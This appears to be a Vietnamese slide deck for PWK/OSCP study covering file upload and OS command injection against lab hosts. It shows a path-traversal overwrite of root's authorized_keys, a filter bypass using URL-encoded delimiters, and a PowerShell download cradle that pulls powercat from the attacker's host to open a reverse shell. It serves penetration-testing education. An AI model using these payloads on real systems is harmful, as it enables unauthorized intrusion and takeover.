- Cần xác minh runtime thay vì giả định PHP vẫn tồn tại.
Kiểm tra các PHP path cũ
kali@kali:~$
curl http://mountaindesserts.com:8000/index.php
404 page not found
kali@kali:~$
curl http://mountaindesserts.com:8000/meteor/index.php
404 page not found
kali@kali:~$
curl http://mountaindesserts.com:8000/admin.php
404 page not found- Ba URL đều trả 404 page not found.
- Có cơ sở giả định backend không còn dùng PHP.
Upload text file thành công
- File được nhận nhưng chưa biết path lưu hoặc khả năng thực thi.
- Thử upload lại cùng tên để quan sát error/overwrite behavior.
Request multipart trong Burp
- Đưa POST request sang Repeater để kiểm soát filename.
- Giữ nguyên body và chỉ thay parameter cần kiểm tra.
Chèn relative path vào filename
- Filename chứa nhiều ../.
- Response echo path chưa đủ chứng minh file được ghi ngoài web root.
Quyền của web-server process quyết định impact
- Apache/Nginx thường chạy dưới user riêng như www-data.
- IIS có Network Service hoặc Application Pool Identity.
- Ứng dụng dùng web server tích hợp đôi khi bị chạy bằng root/Administrator để tránh lỗi permission.
- Nếu process có quyền cao, arbitrary file write có thể dẫn đến takeover hệ thống.
Tạo SSH keypair và authorized_keys
kali@kali:~$
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
fileup
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in fileup
Your public key has been saved in fileup.pub
...
kali@kali:~$
cat fileup.pub > authorized_keys- Public key được ghi vào file tên authorized_keys.
- Private key fileup được giữ trên Kali.
Ghi authorized_keys bằng path traversal
- Filename được đổi thành path tới /root/.ssh/authorized_keys.
- Nếu write thành công, private key tương ứng có thể xác thực SSH.
SSH bằng key sau khi overwrite
kali@kali:~$
rm ~/.ssh/known_hosts
kali@kali:~$
ssh -p 2222 -i fileup root@mountaindesserts.com
The authenticity of host '[mountaindesserts.com]:2222 ([192.168.50.16]:2222)' can't be established.
ED25519 key fingerprint is SHA256:R2JQNI3WJqpEehY2Iv9QdlMAoeB3jnPvjJqqfDZ3IXU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])?
yes
...
root@76b77a6eae51:~#- Xóa known_hosts cũ vì target lab đã thay đổi.
- Dùng -p 2222 và -i fileup.
Chuỗi arbitrary file write
Command Injection
Tìm nơi ứng dụng truyền input xuống operating system và vượt qua filter một cách có kiểm soát.
Mục tiêu học tập
Identify
Tìm function có dấu hiệu chạy lệnh hệ điều hành.
Bypass
Bắt đầu từ input hợp lệ rồi thử delimiter/encoding.
Context
Xác định Windows/Linux và PowerShell/CMD/Bash.
Access
Chứng minh impact bằng command tối thiểu rồi reverse shell trong lab.
OS Command Injection
Từ chức năng git clone đến arbitrary PowerShell command và reverse shell.
Vì sao command injection xuất hiện?
- Ứng dụng cần tương tác với OS nhưng developer dùng input trực tiếp thay vì API đã chuẩn bị.
- Sanitization thủ công thường chỉ chặn một số chuỗi hoặc command cụ thể.
- Chức năng linh hoạt như clone repository dễ dẫn đến ghép chuỗi command.
- Mục tiêu đầu tiên là xác định input được truyền xuống shell ở đâu.
Form clone repository
- Input yêu cầu một chuỗi git clone ....
- Giả thuyết: backend thực thi trực tiếp chuỗi người dùng nhập.
Command clone ExploitDB
- Dùng input hợp lệ để tạo baseline.
- Output của ứng dụng cho biết command thực tế được dùng.
Ứng dụng báo clone thành công
- Trong lab có thể bỏ qua lỗi internet/repository.
- Điểm quan trọng là backend đã nhận và chạy command.
Archive parameter trong POST request
- Burp cho thấy input nằm trong parameter Archive.
- Có thể tái tạo request bằng curl để thử từng biến thể.
ipconfig bị filter phát hiện
kali@kali:~$
curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive
Command Injection detected. Aborting...%!(EXTRA string=ipconfig)
- Request dùng POST và --data.
- Thông báo cho biết filter nhận diện command trực tiếp.
Backtrack từ input hợp lệ
- Không tiếp tục đoán ngẫu nhiên sau khi ipconfig bị chặn.
- Thử phần tối thiểu được phép: git.
- Mở rộng từ command hợp lệ bằng subcommand hoặc delimiter.
- So sánh output để hiểu filter kiểm tra prefix, substring hay toàn chuỗi.
Chỉ gửi command git
kali@kali:~$
curl -X POST --data 'Archive=git' http://192.168.50.189:8000/archive
An error occured with execution: exit status 1 and usage: git [--version] [--help] [-C <path>] [-c <name>=<value>]
[--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
[-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare]
...
push Update remote refs along with associated objects
'git help -a' and 'git help -g' list available subcommands and some
concept guides. See 'git help <command>' or 'git help <concept>'
to read about a specific subcommand or concept.
See 'git help git' for an overview of the system.- Git help xuất hiện, xác nhận backend chạy command.
- Ứng dụng không giới hạn ở git clone.
Dùng git version fingerprint hệ điều hành
kali@kali:~$
curl -X POST --data 'Archive=git version' http://192.168.50.189:8000/archive
Repository successfully cloned with command: git version and output: git version
2.35.1.windows.2- Output chứa windows.
- Chọn payload Windows/PowerShell cho bước tiếp theo.
Delimiter cần thử theo context
| Delimiter | Ý nghĩa | Ghi chú |
|---|---|---|
| ; | Tách command trong nhiều shell | Có thể cần URL-encode thành %3B |
| && | Chạy command sau nếu command trước thành công | Phổ biến trong shell và CMD |
| & | Tách command trong CMD/PowerShell | Ý nghĩa khác nhau tùy shell |
| Pipe / newline | Nối output hoặc command | Chỉ thử sau khi hiểu parser |
Ghép git và ipconfig bằng semicolon
kali@kali:~$
curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.50.189:8000/archive
...
'git help -a' and 'git help -g' list available subcommands and some
concept guides. See 'git help <command>' or 'git help <concept>'
to read about a specific subcommand or concept.
See 'git help git' for an overview of the system.
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.50.189
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.50.254- Semicolon được URL-encode.
- Cả Git help và ipconfig xuất hiện, xác nhận arbitrary command.
Xác định shell thực thi
- Biết Windows chưa đủ; payload cho CMD và PowerShell khác nhau.
- Dùng snippet có output khác nhau tùy environment.
- Context quyết định download cradle, quoting và delimiter.
- Ghi lại chính xác shell trước khi xây payload dài.
Snippet phân biệt CMD và PowerShell
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell- Snippet từ tài liệu gốc in ra environment đang thực thi.
Kết quả xác nhận PowerShell
kali@kali:~$
curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive
...
See 'git help git' for an overview of the system.
PowerShell- Response chứa PowerShell.
- Chuyển sang PowerShell download cradle và Powercat.
Chuẩn bị reverse shell Powercat
Serve powercat.ps1 bằng Python
kali@kali:~$
cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
kali@kali:~$
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...- Copy Powercat vào current directory.
- HTTP server chạy port 80.
Mở Netcat listener
kali@kali:~$
nc -nvlp 4444
listening on [any] 4444 ...- Listener phải sẵn sàng trước khi gửi command injection.
PowerShell download cradle + Powercat
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell - Phần đầu tải và load function Powercat.
- Phần sau kết nối tới Kali, port 4444 và execute PowerShell.
Gửi payload Powercat đã URL-encode
kali@kali:~$
curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive- Prefix git; giữ chuỗi vượt qua filter.
- Toàn bộ ký tự đặc biệt được encode như tài liệu gốc.
HTTP server nhận GET powercat.ps1
kali@kali:~$
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.50.189 - - [05/Apr/2022 09:05:48] "GET /powercat.ps1 HTTP/1.1" 200 -- GET từ target chứng minh download cradle đã chạy.
- Nếu chưa có shell, kiểm tra listener, firewall và command phần hai.
Nhận PowerShell reverse shell
kali@kali:~$
nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.189] 50325
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\Documents\meteor>- Prompt cho thấy shell dưới thư mục của Administrator.
- Chuỗi bằng chứng hoàn chỉnh: injection → download → callback.
Checklist Command Injection
Cách tiếp cận bài lab và capstone
- Bắt đầu bằng enumeration ứng dụng, không nhảy thẳng vào reverse shell.
- Xác định parameter và request method bằng Burp hoặc curl.
- Xây proof nhỏ: command version, hostname, id hoặc whoami.
- Sau khi hiểu OS/shell mới chọn reverse shell phù hợp.
- Ghi lại mọi biến thể thất bại để tránh lặp lại và nhận diện filter.
Tổng kết Chương 9
Liên kết bốn nhóm lỗ hổng thành một phương pháp kiểm thử web application có hệ thống.
Chuỗi tư duy xuyên suốt chương
Bốn nhóm lỗ hổng và dấu hiệu chính
| Nhóm | Input đáng chú ý | Dấu hiệu xác minh | Hướng tiếp theo |
|---|---|---|---|
| Directory Traversal | Path/file parameter | Nội dung file ngoài web root | Tìm user, key, config, log |
| File Inclusion | File include parameter | File executable bị execute | Log poisoning, wrapper, RFI |
| File Upload | Multipart filename/content | File được lưu hoặc execute | Bypass filter hoặc arbitrary write |
| Command Injection | Field tạo lệnh OS | Output command thứ hai | Fingerprint OS/shell rồi chứng minh access |
Khi nào nên quay lại enumeration?
- Payload liên tục bị chặn nhưng chưa hiểu filter hoặc parser.
- Upload thành công nhưng không biết nơi lưu file.
- Command chạy nhưng output cho thấy OS/shell khác giả định.
- Đọc được source/config mới làm lộ endpoint, credential hoặc path mới.
- Permission của process không đủ cho hướng đang theo đuổi.
Notes và báo cáo cần có
Sai lầm thường làm mất thời gian
- Gọi nhầm Directory Traversal là LFI và bỏ qua khả năng execute.
- Chỉ dùng browser cho request phức tạp thay vì Burp/curl.
- Không kiểm tra OS, shell hoặc runtime trước khi chọn payload.
- Thay nhiều yếu tố cùng lúc nên không biết bypass nào có tác dụng.
- Coi upload thành công là code execution mà chưa truy cập file.
- Không lưu response baseline và output thất bại.
Phạm vi và an toàn thực hành
- Các lệnh, payload và địa chỉ trong deck được giữ từ tài liệu PWK và chỉ dùng trong lab.
- Không áp dụng lên hệ thống công cộng hoặc mục tiêu chưa được ủy quyền.
- Ghi đè file, đổi credential và tạo reverse shell là hành động có tác động cao.
- Trong engagement thực tế cần tuân thủ Scope, Rules of Engagement và kế hoạch hoàn nguyên.
Tài liệu, sách và video tiếng Việt hỗ trợ học PWK / OSCP
Ôn lại Directory Traversal, LFI/RFI, File Upload, Command Injection và quy trình ghi notes kỹ thuật theo lộ trình.
security365.vn/pwk-oscp/Nội dung phục vụ học tập và thực hành trong môi trường được ủy quyền.